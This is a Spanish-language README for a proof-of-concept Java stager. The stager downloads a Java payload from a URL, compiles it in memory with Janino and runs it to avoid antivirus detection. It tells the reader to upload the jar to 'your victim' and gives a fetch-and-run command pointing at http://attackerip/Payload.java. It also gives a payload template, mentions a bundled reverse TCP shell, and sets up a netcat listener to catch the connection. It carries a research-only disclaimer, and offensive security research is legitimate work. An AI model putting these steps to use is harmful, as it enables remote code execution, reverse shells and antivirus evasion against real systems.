
Un PoC Java Stager que puede descargar, compilar y ejecutar un archivo Java en memoria.
Un Stager Java de PoC que puede descargar, compilar y ejecutar un archivo Java en memoria.
Esto es solo para fines de investigación, no lo uses donde no estés autorizado.
Esto se basa en el trabajo de James Williams de su charla "Next Gen AV vs My Shitty Code" disponible aquí:
https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be
Las partes clave de la charla para mí son:
Su ejemplo está en .net, pero en la charla sugirió que Java sería capaz de las mismas técnicas. He implementado un PoC básico que creo coincide con las técnicas anteriores.
La salida en NetBeans incluía una línea como esta:
Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
Para trabajar en tu víctima debes subir el archivo "JavaStager*.jar" y la carpeta "lib" que contiene Janino desde la carpeta "target".
El siguiente comando ejecutará el stager:
java -jar JavaStager-0.1-initial.jar
Se te mostrará el uso como se indica:
Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>
La "url" es el único parámetro que se pasa al Stager. Un ejemplo de uso sería:
java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
Tu payload debe estar en un archivo llamado "Payload.java" y tu código de exploit debe estar en un método estático llamado "Run". A continuación se muestra la plantilla si deseas escribir la tuya:
public class Payload {
public static void Run() {
// Your code here
}
}
He proporcionado un payload de Reverse TCP de ejemplo en el archivo "TCPReverseShell.java". Para evitar conflictos de nombres, no se llama "Payload.java" y el nombre de la clase es incorrecto. El comentario de cabecera en "TCPReverseShell.java" explica cómo modificarlo para que funcione.
Necesitarás alojar tu archivo "Payload.java" en un servidor HTTP. Puedes usar Apache si quieres o servicios HTTP/HTTPS simples en Python2 y Python3 según mi blog:
https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/
El atacante necesitará iniciar un listener de netcat para capturar la conexión de retorno usando la técnica estándar nc -lvp 8044.
Publicación en el blog explicando cómo funciona todo:
https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/
Video mostrando cómo funcionaba en la práctica: